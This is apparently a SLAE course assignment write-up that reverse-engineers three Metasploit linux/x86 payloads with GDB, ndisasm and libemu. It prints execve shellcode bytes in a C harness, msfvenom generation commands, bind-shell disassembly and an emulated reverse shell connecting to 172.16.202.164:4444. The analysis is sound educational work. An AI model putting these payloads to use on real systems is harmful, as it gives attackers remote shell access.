Assignment #5: Metasploit shellcode analysis
The fifth assignment for SLAE certification is about shellcode analysis and reversing.
Students were asked to take up at least 3 shellcode samples created using Msfpayload for linux/x86, use GDB/Ndisasm/Libemu to dissect the funcSonality of the shellcode and presenting analysis.
The assignment was written on an Ubuntu Linux 18.04, with a Linux kernel 4.15 version.
Shellcode selection
To list all available payloads generated by msfvenom, you have to issue the following command:
# msfvenom --list payloads | grep linux/x86
From the list, I selected:
- execve
- bind TCP shellcode
- reverse TCP shellcode
GDB in action on linux/x86/exec payload
To see all possible options, the following command line can be used:
# msfvenom -p linux/x86/exec -a x86 --platform linux --list-options
We need CMD parameter, that we can set to “/bin/sh”.
# msfvenom -p linux/x86/exec -a x86 --platform linux CMD=/bin/sh -f c -o exec_sc_with_null.txt
I copied the msfvenom output to a skeleton C program:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd\x80";
int main(int argc, char **argv)
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
After compiling the program, I started it and breaking the execution to the line when control is passed to code bufer content.
break *&code
Shellcode starts with the execve(2) system call number to be saved into the stack and than popped on EAX register
0x00402020 <+0>: push 0xb 0x00402022 <+2>: pop eax
Then we convert the double-word value in EAX into a quadword using the CDQ instruction. CDQ copies the sign (bit 31) of the value in the EAX register into every bit position in the EDX register.
0x00402023 <+3>: cdq
The registers just before the cdq instruction. As we can see EAX contains the execve call number as expected.
(gdb) info register eax 0xb 11 ecx 0x0 0 edx 0xb7fb7890 -1208256368 ebx 0x401fd4 4202452 (gdb)
After the cdq instruction, we can see edx is 0 (gdb) info register eax 0xb 11 ecx 0x0 0 edx 0x0 0 ebx 0x401fd4 4202452
So cdq can be a clever way to zero the EDX register not using the XOR technique, of course when we’re sure a positive number is stored into EAX.
We pushed EDX (that is zero) into the stack and then we pushed 0x632d (“-c”) on the stack, preparing for execve parameters.
After some more pushes, the stack situation is the one described in this screenshot.
Using python to decode the hex values stored, it’s easy to see it’s “/bin/sh -c”
We then move ESP value into EBX, preparing the second argument for execve(2) system call.
Right before the INT 0x80 that eventually it will execute the execve(), the situation is the one shown in this screenshot:
(gdb) info registers eax 0xb 11 ebx 0xbfffee3e -1073746370 ecx 0xbfffee2e -1073746386 edx 0x0 0 esp 0xbfffee2e 0xbfffee2e ebp 0xbfffee68 0xbfffee68
Let’s recall execve(2) prototype, as found in my Ubuntu system based on a 4.15 Linux kernel version.
1 2 3 4 #include <unistd.h> int execve(const char *filename, char *const argv[], char *const envp[]);
Meanwhile EAX has execve(2) call number, EBX (execve first parameter) points to the following string:
(gdb) x/s $ebx 0xbfffee3e: “/bin/sh”
ECX, that is the second execve() parameter, points to a memory region containing the arguments for the program that is going to be executed:
(gdb) x/4xw $ecx 0xbfffee2e: 0xbfffee3e 0xbfffee46 0x0040203d 0x00000000 (gdb) x/s 0xbfffee3e 0xbfffee3e: “/bin/sh” (gdb) x/s 0xbfffee46 0xbfffee46: “-c” (gdb) x/s 0x0040203d 0x40203d <code+29>: “/bin/sh”
The “call” trick
The payload generated by msfvenom uses a clever trick to store the command to be executed into the stack.
When a CALL instruction is executed, the program passes the control to a given address storing into the stack the value right after the call itself, 0x0040203d in our case.
The bunch of bytes at this address are no more than “/bin/sh” string.
Back to our registers, EDX is NULL.
So when INT 0x80 it has been called, the following command will be executed “/bin/sh -c /bin/sh”.
Metasploit shellcode is built to be independent from the command the user asks, so a first shell is spawned with ‘-c’ argument that says the shell will execute the string passed as parameter value, “/bin/sh”, in our case.
ndisasm in action for linux/x86/shell_bind_tcp payload
With the following command we create a TCP BIND shellcode listening to port 4444 and we pass to ndisasm tool creating a disassembled output.
msfvenom -p linux/x86/shell_bind_tcp -a x86 –platform linux -f raw ndisasm -u - > bind_tcp.ndisasm
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
0000000F 5B pop ebx
00000010 5E pop esi
00000011 52 push edx
00000012 680200115C push dword 0x5c110002
00000017 6A10 push byte +0x10
00000019 51 push ecx
0000001A 50 push eax
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 CD80 int 0x80
00000022 894104 mov [ecx+0x4],eax
00000025 B304 mov bl,0x4
00000027 B066 mov al,0x66
00000029 CD80 int 0x80
0000002B 43 inc ebx
0000002C B066 mov al,0x66
0000002E CD80 int 0x80
00000030 93 xchg eax,ebx
00000031 59 pop ecx
00000032 6A3F push byte +0x3f
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 49 dec ecx
00000038 79F8 jns 0x32
0000003A 682F2F7368 push dword 0x68732f2f
0000003F 682F62696E push dword 0x6e69622f
00000044 89E3 mov ebx,esp
00000046 50 push eax
00000047 53 push ebx
00000048 89E1 mov ecx,esp
0000004A B00B mov al,0xb
0000004C CD80 int 0x80
Let’s examine it syscall by syscall.
First syscall
The first code is the following: EBX is set to zero, then EAX is set to zero too because of output of mul instruction.
Zero is stored into the stack, than EBX is incremented and the value 1 is stored into the stack and right after that the value 2 as well.
00000000 31DB xor ebx,ebx
00000002 F7E3 mul ebx
00000004 53 push ebx
00000005 43 inc ebx
00000006 53 push ebx
00000007 6A02 push byte +0x2
00000009 89E1 mov ecx,esp
0000000B B066 mov al,0x66
0000000D CD80 int 0x80
Stack is now something like this:
1
2
3
4
|-----| ESP --> | 2 |
| 1 |
| 0 |
|-----|
ECX is pointing to this data structure and AL is filled with 0x66 that is 102 in decimal. The 102 value is the code for socketcall() systemcall.
$ grep 102 /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_socketcall 102
socketcall() was used in Linux kernels as entrypoint for networking related APIs. In newer kernels, as you can see from my solutions for assignments 2 and 3, relevant socket APIs now have their own system call.
From the man page:
#include <linux/net.h>
int socketcall(int call, unsigned long *args);
...
call Man page
SYS_SOCKET socket(2)
SYS_BIND bind(2)
SYS_CONNECT connect(2)
SYS_LISTEN listen(2)
SYS_ACCEPT accept(2)
SYS_GETSOCKNAME getsockname(2)
SYS_GETPEERNAME getpeername(2)
SYS_SOCKETPAIR socketpair(2)
SYS_SEND send(2)
SYS_RECV recv(2)
SYS_SENDTO sendto(2)
SYS_RECVFROM recvfrom(2)
SYS_SHUTDOWN shutdown(2)
SYS_SETSOCKOPT setsockopt(2)
SYS_GETSOCKOPT getsockopt(2)
SYS_SENDMSG sendmsg(2)
SYS_RECVMSG recvmsg(2)
SYS_ACCEPT4 accept4(2)
SYS_RECVMMSG recvmmsg(2)
SYS_SENDMMSG sendmmsg(2)
The first parameter, which is stored in EBX register, defines the API to call. EBX in this case contains the value 1, that is the socket() call.
From /usr/include/linux/net.h:
#define SYS_SOCKET 1 /* sys_socket(2) */
So this snippet of code is calling the socket(2) system call, passing the parameters pointed by the ECX register (2, 1 and 0).
The socket(2) prototype says that 2, 1 and 0 are domain, type and protocol rispectively.
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
So, it’s like we’re asking the operating system to do this for us:
int sfd, cfd;
struct sockaddr_in my_addr;
sfd = socket(AF_INET, SOCK_STREAM, 0);
This means, “please, open us an IPv4 socket, using the TCP protocol that provides a sequenced, reliable, two-way, connection-based byte streams and for the protocol, please use the default one”.
The second syscall
The second system call invocation is:
0000000F 5B pop ebx
00000010 5E pop esi
00000011 52 push edx
00000012 680200115C push dword 0x5c110002
00000017 6A10 push byte +0x10
00000019 51 push ecx
0000001A 50 push eax
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66
0000001F 58 pop eax
00000020 CD80 int 0x80
Again this is a socketcall() invocation, because of a value of 0x66 in EAX register. EBX is set to 2, since it’s the first value popped out form stack. We’re than binding to a given port on a file descriptor, opened by socket(2) and stored in EDX register we save in the beginning on the stack.
We push a double word on the stack, 0x5c110002 that it can be splitted in two separated words:
- 0x5c11 that it is 4444 in decimal, the TCP port we have to bind to
- 0x2 that it is the AF_INET constant, used as af_inet
The 0x10 is than 16 bytes, the lenght of struct sockaddr_in data structure.
Calling the INT 0x80, we’re executing the following piece of C code:
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(4444);
my_addr.sin_addr.s_addr = INADDR_ANY;
bind(sfd, (struct sockaddr *) &my_addr, sizeof(my_addr));
The third syscall
The third call is pretty easy to understand. The EBX register is set to 4, that is the code for listen(2).
00000022 894104 mov [ecx+0x4],eax
00000025 B304 mov bl,0x4
00000027 B066 mov al,0x66
00000029 CD80 int 0x80
The listen(2) prototype is:
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int listen(int sockfd, int backlog);
The fourth syscall
The fourth system call is just 3 lines of assembler.
0000002B 43 inc ebx
0000002C B066 mov al,0x66
0000002E CD80 int 0x80
We increment EBX that turns 5 and we invoke socketcall() again. This translates into calling accept() on the given socket descriptor.
The fifth syscall
After calling accept(), it has been called the dup2() system call since in EAX the value of 0x3f it has been stored.
00000030 93 xchg eax,ebx
00000031 59 pop ecx
00000032 6A3F push byte +0x3f
00000034 58 pop eax
00000035 CD80 int 0x80
00000037 49 dec ecx
00000038 79F8 jns 0x32
The call is in a loop because we want to duplicate standard input, output and error that are mapped as file descriptors 0, 1 and 2.
The last call
The last call is the execve() that it will serve the incoming connection to port 4444.
0000003A 682F2F7368 push dword 0x68732f2f
0000003F 682F62696E push dword 0x6e69622f
00000044 89E3 mov ebx,esp
00000046 50 push eax
00000047 53 push ebx
00000048 89E1 mov ecx,esp
0000004A B00B mov al,0xb
0000004C CD80 int 0x80
First of all “/bin//sh” is stored into stack with the two push instructions.
>>> "68732f2f".decode("hex")
'hs//'
>>> "6e69622f".decode("hex")
'nib/'
Then the chain of argument for execve() is built, with pointers to memory region storing the command to be executed and then the lastest int 0x80 it has been called.
libemu in action on linux/x86/reverse_shell
We start creating a RAW shellcode for a TCP reverse shell shellcode.
msfvenom -p linux/x86/shell_reverse_tcp -f raw -a x86 –platform linux -o reverse_shell.raw
Using the raw shellcode, I’ll call sctest in order to analyze emulated output.
$ cat reverse_shell.raw| sctest -Ss 100000
verbose = 0
int socket(int domain=2, int type=1, int protocol=0);
int dup2(int oldfd=14, int newfd=2);
int dup2(int oldfd=14, int newfd=1);
int dup2(int oldfd=14, int newfd=0);
connect
execve
int execve (const char *dateiname=00416fa6={//bin/sh}, const char * argv[], const char *envp[]);
cpu error error accessing 0x00000004 not mapped
stepcount 42
Just from bare sctest output, we can argue this shellcode is something related to networking. It tells a story about a socket, a connect somewhere, duplicating standard input, output and error on a file descriptor and then executing “/bin/sh”.
Let’s add a bit more of verbosity.
cat reverse_shell.raw| sctest -Ss 100000 -vvv
verbose = 3
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417000
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417000
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 31DB xor ebx,ebx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417002
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF
[emu 0x0x53e1f0 debug ] F7E3 mul ebx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417004
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF
[emu 0x0x53e1f0 debug ] 53 push ebx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417005
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x53e1f0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF
[emu 0x0x53e1f0 debug ] 43 inc ebx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417006
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 53 push ebx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417007
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 6A02 push byte 0x2
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417009
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 89E1 mov ecx,esp
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041700b
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fc2 edx=0x00000000 ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] B066 mov al,0x66
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041700d
[emu 0x0x53e1f0 debug ] eax=0x00000066 ecx=0x00416fc2 edx=0x00000000 ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] CD80 int 0x80
int socket(int domain=2, int type=1, int protocol=0);
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041700f
[emu 0x0x53e1f0 debug ] eax=0x0000000e ecx=0x00416fc2 edx=0x00000000 ebx=0x00000001
[emu 0x0x53e1f0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 93 xchg eax,ebx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417010
[emu 0x0x53e1f0 debug ] eax=0x00000001 ecx=0x00416fc2 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 59 pop ecx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417011
[emu 0x0x53e1f0 debug ] eax=0x00000001 ecx=0x00000002 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] B03F mov al,0x3f
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417013
[emu 0x0x53e1f0 debug ] eax=0x0000003f ecx=0x00000002 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] CD80 int 0x80
int dup2(int oldfd=14, int newfd=2);
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417015
[emu 0x0x53e1f0 debug ] eax=0x00000002 ecx=0x00000002 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 49 dec ecx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417016
[emu 0x0x53e1f0 debug ] eax=0x00000002 ecx=0x00000001 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 79F9 jns 0xfffffffb
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417011
[emu 0x0x53e1f0 debug ] eax=0x00000002 ecx=0x00000001 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] B03F mov al,0x3f
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417013
[emu 0x0x53e1f0 debug ] eax=0x0000003f ecx=0x00000001 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] CD80 int 0x80
int dup2(int oldfd=14, int newfd=1);
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417015
[emu 0x0x53e1f0 debug ] eax=0x00000001 ecx=0x00000001 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags:
[emu 0x0x53e1f0 debug ] 49 dec ecx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417016
[emu 0x0x53e1f0 debug ] eax=0x00000001 ecx=0x00000000 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF
[emu 0x0x53e1f0 debug ] 79F9 jns 0xfffffffb
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417011
[emu 0x0x53e1f0 debug ] eax=0x00000001 ecx=0x00000000 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF
[emu 0x0x53e1f0 debug ] B03F mov al,0x3f
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417013
[emu 0x0x53e1f0 debug ] eax=0x0000003f ecx=0x00000000 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF
[emu 0x0x53e1f0 debug ] CD80 int 0x80
int dup2(int oldfd=14, int newfd=0);
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417015
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF ZF
[emu 0x0x53e1f0 debug ] 49 dec ecx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417016
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0xffffffff edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 79F9 jns 0xfffffffb
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417018
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0xffffffff edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 68AC10CAA4 push dword 0xa4ca10ac
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041701d
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0xffffffff edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fc2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 680200115C push dword 0x5c110002
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417022
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0xffffffff edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fbe ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 89E1 mov ecx,esp
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417024
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fbe edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fbe ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] B066 mov al,0x66
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417026
[emu 0x0x53e1f0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fbe ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 50 push eax
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417027
[emu 0x0x53e1f0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 51 push ecx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417028
[emu 0x0x53e1f0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fb6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 53 push ebx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417029
[emu 0x0x53e1f0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x0000000e
[emu 0x0x53e1f0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] B303 mov bl,0x3
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041702b
[emu 0x0x53e1f0 debug ] eax=0x00000066 ecx=0x00416fbe edx=0x00000000 ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 89E1 mov ecx,esp
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041702d
[emu 0x0x53e1f0 debug ] eax=0x00000066 ecx=0x00416fb2 edx=0x00000000 ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] CD80 int 0x80
connect
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041702f
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000000 ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fb2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 52 push edx
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417030
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000000 ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fae ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 686E2F7368 push dword 0x68732f6e
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417035
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000000 ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416faa ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 682F2F6269 push dword 0x69622f2f
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041703a
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000000 ebx=0x00000003
[emu 0x0x53e1f0 debug ] esp=0x00416fa6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 89E3 mov ebx,esp
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041703c
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000000 ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416fa6 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 52 push edx
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041703d
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000000 ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416fa2 ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 53 push ebx
[emu 0x0x53e1f0 debug ] cpu state eip=0x0041703e
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416fb2 edx=0x00000000 ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 89E1 mov ecx,esp
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417040
[emu 0x0x53e1f0 debug ] eax=0x00000000 ecx=0x00416f9e edx=0x00000000 ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] B00B mov al,0xb
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417042
[emu 0x0x53e1f0 debug ] eax=0x0000000b ecx=0x00416f9e edx=0x00000000 ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] CD80 int 0x80
execve
int execve (const char *dateiname=00416fa6={//bin/sh}, const char * argv[], const char *envp[]);
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417044
[emu 0x0x53e1f0 debug ] eax=0x0000000b ecx=0x00416f9e edx=0x00000000 ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
[emu 0x0x53e1f0 debug ] 0000 add [eax],al
cpu error error accessing 0x00000004 not mapped
stepcount 42
[emu 0x0x53e1f0 debug ] cpu state eip=0x00417046
[emu 0x0x53e1f0 debug ] eax=0x0000000b ecx=0x00416f9e edx=0x00000000 ebx=0x00416fa6
[emu 0x0x53e1f0 debug ] esp=0x00416f9e ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x53e1f0 debug ] Flags: PF SF
int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int dup2 (
int oldfd = 14;
int newfd = 2;
) = 2;
int dup2 (
int oldfd = 14;
int newfd = 1;
) = 1;
int dup2 (
int oldfd = 14;
int newfd = 0;
) = 0;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = -1530261332 (host=172.16.202.164);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
